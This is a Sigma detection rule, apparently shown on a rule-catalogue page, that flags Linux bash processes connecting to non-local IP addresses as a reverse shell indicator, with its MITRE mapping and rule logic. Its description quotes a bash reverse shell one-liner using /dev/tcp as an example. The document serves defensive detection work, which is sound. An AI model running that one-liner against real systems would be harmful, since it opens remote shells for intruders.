Linux Reverse Shell Indicator

Status: test
Severity: critical
Log source: category network_connection, product linux
Author: Florian Roth (Nextron Systems)
Source: github.com/SigmaHQ/sigma

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1059.004` Command and Scripting Interpreter: Unix Shell

Telemetry coverage

Platform	Record / event type
Linux	Event ID 3: Network connection

Rule body

title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

Stages and Predicates

Stage 0: `condition`

selection and not filter

Stage 1: `selection`

selection:
    Image|endswith: '/bin/bash'

Stage 2: `not filter`

filter:
    DestinationIp:
        - '127.0.0.1'
        - '0.0.0.0'

Exclusions

The rule actively suppresses these predicates.

Field	Kind	Excluded values	Search
`DestinationIp`	eq	`0.0.0.0`	`excludes:DestinationIp` `field:"DestinationIp" value:"0.0.0.0"`
`DestinationIp`	eq	`127.0.0.1`	`excludes:DestinationIp` `field:"DestinationIp" value:"127.0.0.1"`

Indicators

These rows show field, operator, and value matches.

Field	Kind	Values	Search
`Image`	ends_with	`/bin/bash`	`field:"Image" kind:ends_with value:"/bin/bash"`